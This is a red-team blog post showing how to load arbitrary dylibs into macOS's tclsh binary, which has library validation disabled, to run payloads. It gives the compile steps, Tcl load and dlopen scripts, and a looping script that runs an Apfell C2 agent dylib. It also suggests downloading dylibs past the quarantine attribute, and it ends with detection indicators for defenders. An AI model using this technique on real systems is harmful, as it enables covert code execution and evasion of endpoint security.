Dylib Loads that Tickle your Fancy
Loading malicious dylibs into the Tclsh binary
Background
As detection of osascript
command-line executions has increased, I started looking more into alternative forms of payload execution. As a result of this research, I found a way to execute payloads within the platform binary tclsh
.
Tclsh
is a shell-like application that reads Tcl
commands from its standard input or from a file and evaluates them. Tcl
(pronounced “tickle” or as an initialism) is a high-level programming language. Tcl
casts everything into the mold of a command, even programming constructs like variable assignments and procedure definitions. Created in 1988, developers used Tcl
to create GUIs (Graphical User Interfaces)s and automate basic tasks. Since Mac OS X 10.4 Tiger (perhaps earlier) included tclsh
by default. It is still a default installation as of macOS 12 Monterey, making it an ideal candidate for payload execution.
Using the codesign
binary, I dug further and saw that tclsh
is actually running the tclsh8.5
executable, which possesses the com.apple.security.cs.disable-library-validation
entitlement. This entitlement indicates whether an application can load arbitrary libraries without requiring code-signing. Thus, making it a great candidate for loading our dylib (dynamic library).
itsatrap@HomeOne ~ % codesign -d /usr/bin/tclsh
Executable=/System/Library/Frameworks/Tcl.framework/Versions/8.5/tclsh8.5
---itsatrap@HomeOne ~ % codesign -d --entitlements - /System/Library/Frameworks/Tcl.framework/Versions/8.5/tclsh8.5
Executable=/System/Library/Frameworks/Tcl.framework/Versions/8.5/tclsh8.5
[Dict]
[Key] com.apple.security.cs.disable-library-validation
[Value]
[Bool] true
[Key] com.apple.security.cs.allow-unsigned-executable-memory
[Value]
[Bool] true
There is a great reference for Tcl
commands at the Tcler’s Wiki. Digging into the options, I noted that there is a load command to simply load libraries. To test this out I used a simple dylib from Csaba Fitzl.
itsatrap@HomeOne ~ % cat test.c
#include <stdio.h>
#include <syslog.h>__attribute__((constructor))
static void customConstructor(int argc, const char **argv)
{
printf("Hello from dylib!\n");
syslog(LOG_ERR, "Dylib injection successful in %s\n", argv[0]);
}
Compile the dylib and create a .tcl
file with the load command.
itsatrap@HomeOne ~ % gcc -dynamiclib hello.c -o hello.dylibitsatrap@HomeOne ~ % cat hello.tcl
load /Users/itsatrap/hello.dylib
Run the .tcl
file with tclsh
.
itsatrap@HomeOne ~ % tclsh hello.tcl
Hello from dylib!
dlsym(0x205c013e0, Hello_Init): symbol not founddlsym(0x205c013e0, Hello_SafeInit): symbol not founddlsym(0x205c013e0, Hello_Unload): symbol not founddlsym(0x205c013e0, Hello_SafeUnload): symbol not foundcouldn't find procedure Hello_Init
while executing
"load /Users/itsatrap/hello.dylib "
(file "hello.tcl" line 1)
We get the Hello from dylib!
message but also the symbol error. Luckily, the dlopen extension addresses this (Thanks, Clif Flynt!). The dlopen extension allows loading libraries that do not contain a XX_Init
entry point on Posix or Windows platforms.
Usage
Setup
First, we need to compile the dlopen extension. Then we can create the .tcl
file with the load command to the dlopen dylib, followed by a dlopen command with our malicious dylib.
itsatrap@HomeOne ~ % gcc -dynamiclib -o dlopen.dylib dlopen.c -framework Tcl -framework Tkitsatrap@HomeOne ~ % cat helloload.tcl
load /Users/itsatrap/dlopen.dylib
dlopen /Users/itsatrap/hello.dylib
Run the .tcl
file with tclsh.
itsatrap@HomeOne ~ % tclsh helloload.tcl
Hello from dylib!
We get our execution!
Executing an Apfell payload with tclsh
To weaponize execution, we can leverage Chris Ross’ JSRunner to create our Apfell dylib. Then we can create the tcl file with the load command to the dlopen dylib, followed by a dlopen command with our malicious dylib.
itsatrap@HomeOne ~ % g++ -dynamiclib -o /Users/itsatrap/apfell.dylib -framework Foundation -framework OSAKit ~/JXADylib_Runner/plugin.cpp ~/JXADylib_Runner/jsrunner.mmitsatrap@HomeOne ~ % cat apfell.tcl
while True {
load /Users/itsatrap/dlopen.dylib
dlopen /Users/itsatrap/apfell.dylib
after 10000
}
Run the .tcl
file with tclsh
itsatrap@HomeOne ~ % tclsh apfell.tcl &
[1] 10960
Execution! What’s great is that within tcl
you can use the exec
command to run other programs. For example, we could use tcl
to make curl
requests to download those dylibs to limit the number of files we need to get to the target initially, as well as not be subject to the com.apple.quarantine
file attribute. If we take it further we can use the tcl
packages http
and tls
to perform the downloads without spawning additional processes. I have an example execution template here. (I have also included these as build options in my Mystikal project).
Detection
I leveraged the Elastic Agent, which I have on my macOS 11 Big Sur endpoint, which forwards events to my Elastic Stack (Elasticsearch, Logstash, Kibana) to follow the execution artifacts. I recently did a post on setting this up in a lab environment.
Indicators:
- Process execution events with command line arguments for
tclsh <filename>
. Although this is a platform binary, its practical use is not prevalent, so establishing a usage baseline in an environment is helpful.
Note: The file does not need the tcl
extension. One could get execution through tclsh apfell.txt
, for example.
- Network connection events that originate from
tclsh8.5
. These events are likely abnormal. As stated before, the widespread usage of tclsh is limited, and the few instances in which it makes network connections are even further uncommon.
Note: By default, the http
package has a User-agent string of Tcl http client package 2.7.5
. One can easily modify this by using the ::http::config -useragent option
.
- Dylib loads into the
tclsh8.5
binary. However, it is worth noting that commercial tools tend to be limited in their ability to provide insight into these events, especially on Big Sur+.
Conclusion
This post aimed to display arbitrary dylib loading into the tclsh
binary. More importantly, I hope that the detection indicators shown can be a starting point for those developing detections for this execution. If you encounter any additional indicators that this execution method creates that are unmentioned above, please let me know.
References / Resources:
- https://www.tcl.tk/about/language.html
- https://wiki.tcl-lang.org/page/load
- https://wiki.tcl-lang.org/page/dlopen+extension
- https://github.com/xorrior/macOSTools/tree/7f03f7fd9e4dcbf48371b5f1ff6431a36eaf0e0b/script_runners/JXADylib
- https://null-byte.wonderhowto.com/how-to/hacking-macos-use-one-tclsh-command-bypass-antivirus-protections-0186330/
- https://en.wikipedia.org/wiki/Tcl
- https://stackoverflow.com/questions/4606579/problem-requesting-a-https-with-tcl